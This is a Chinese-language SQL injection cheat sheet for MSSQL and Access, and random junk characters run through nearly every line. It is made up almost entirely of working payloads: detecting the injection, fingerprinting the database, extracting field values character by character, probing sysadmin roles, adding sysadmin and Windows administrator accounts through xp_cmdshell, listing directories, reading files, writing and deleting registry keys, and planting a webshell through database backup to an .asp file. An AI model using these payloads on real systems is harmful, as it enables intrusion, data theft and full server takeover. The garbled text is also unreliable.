1.判断是否有注入;and 1=1 ;and 1=2 \M1M2(@pDJ
2.初步判断是否是mssql ;and user>0 8M(|{~~3:
0'`8HP
3.注入参数是字符'and [查询条件] and ''=' ,EGD8$RA]
g)|++?
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Wvzzjcr(j
3T.M?UG>
5.判断数据库系统 AcfkY m~
Jr*S2z<*
;and (select count(*) from sysobjects)>0 mssql 4jyr\=42F'
8bKWIN g_n
;and (select count(*) from msysobjects)>0 access H--*[3".
spoWdRM2
TG%hy"k
.]sIoB-54
6.猜数据库 ;and (select Count(*) from [数据库名])>0 &l!{!f4
^5'/ }iR2N
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 &s}@7htE
> Qbc(}w
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 SpTORR8
i4n%EDQ
9.(1)猜字段的ascii值(access) l!2Z`D_MD
l1|,Lr
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 y:6'&`L
$rQFM[
(2)猜字段的ascii值(mssql) Hk~
gcG
|% YzGgp7
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 36A.h,~
tP^mq>
10.测试权限结构(mssql) 8KELN(o$ 7
LkZo/K~
UE$[;Zg
)D-.7m.v]
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- a]=vq(N'r
P+%)0*W
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2Q'XB
)PoI~km
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- @p` CAB
yLIj4bf
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- T _9ZI|Jx
YU0HySP:
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ]Q_G /e
P(i2bbU
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~Z/ `W`
{Ljl4Sp&
;and 1=(select IS_MEMBER('db_owner'));-- ht)*Ync
7LZb*+>
qsRfG~Cg
e2o9)=y
11.添加mssql和系统的帐户 f<Um2YGW
<UHWy&+z&
;exec master.dbo.sp_addlogin username;-- w7?9e#>Z
;exec master.dbo.sp_password null,username,password;-- =v`&iL~m
7<'i #E~
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- KXbYv62
sU_4+Mk
;exec master.dbo.xp_cmdshell 'net user username password pC.4AkEO
=ZIFS
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- `lh?Z3W
^F0jI5j ).
;exec master.dbo.xp_cmdshell 'net user username password /add';--
(mD:[|.
mb`}sTU).
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- kc']g:*]Y
kQ'xs%Fw
x[@3;_'K
[>9"RzEl
12.(1)遍历目录 Hwc8i"{9y\
N6
(w<b
;create table dirs(paths varchar(100), id int) >@e%,z
@!NHeH=pR
;insert dirs exec master.dbo.xp_dirtree 'c:\' V+ ~2q=
I[IQFka}
;and (select top 1 paths from dirs)>0 "8TMAF|i4
dY`J,s
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $
rnr;V
\iSBLU
,lYU#Hx*
0=zS&xM
(2)遍历目录 w7V
W
uQ+$Hzx X
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- / hdl
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 <Py/uF|
CnA)>4E*'
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 <$6E r
_u5U> w
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4c@F.I
1/J*ki+?
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 S$/3K q
#T`+~tW'|
*heQ@ww
(W/UR9x)|d
13.mssql中的存储过程 H hH'\-[t
:e vc
xp_regenumvalues 注册表根键, 子键 qiJ{X{lI
%=eD)p7l-
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 VO?NrKyeW
BEx^IQ2
xp_regread 根键,子键,键值名 %,RU)}
#TF
;exec xp_regread >;?97'M
<9ph c
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 >(a_9l;q
IvH+94[)
xp_regwrite 根键,子键, 值名, 值类型, 值 6E4 L4Vb
H@2+wr)$}
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 :\RB ^3;
(E[hl
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ~;Kl/Z
HEN9D/O=
xp_regdeletevalue 根键,子键,值名 ![jP)WgF
nJC}wh2d#
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 /Vc!N)
&t4(86Bmq
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 +R$KEGu~0Y
Z^S!w;eu
xy>mM"DOH
}qPo%T
14.mssql的backup创建webshell hiuPvi}
K.Z{4x=0
use model Pp!W$C:
[*v\X %+
create table cmd(str image); dI|/Xm>
wS4wED&a
insert into cmd(str) values (''); x]T;W&s
P]GGnT(!
backup database model to disk='c:\l.asp'; R)z|("%ec
e#^by(1@}
/2 N%Z
#$E
vybETx
15.mssql内置函数 8Qh/=Ir
!5-[kG&
;and (select @@version)>0 获得Windows的版本号 uv!/DX#
k@'.d)y0`
;and user_name()='dbo' 判断当前系统的连接用户是不是sa `x{gF8GV
-d]z_
SP@
;and (select user_name())>0 爆当前系统的连接用户 {[+gM?
3ssio-X
;and (select db_name())>0 得到当前连接的数据库 @@ QU"8q
`shB[Lt
NR5A"_'
$n W>]S\|
16.简洁的webshell g@L4G?hLn
&k nnWm"
use model {ig@Iy~DT
n_Z8%|h
create table cmd(str image); P?F:x=@'|
dGg+[?
insert into cmd(str) values (''); '%,Re-8O
FYJB.lAT
backup database model to disk='g:\wwwtest\l.asp';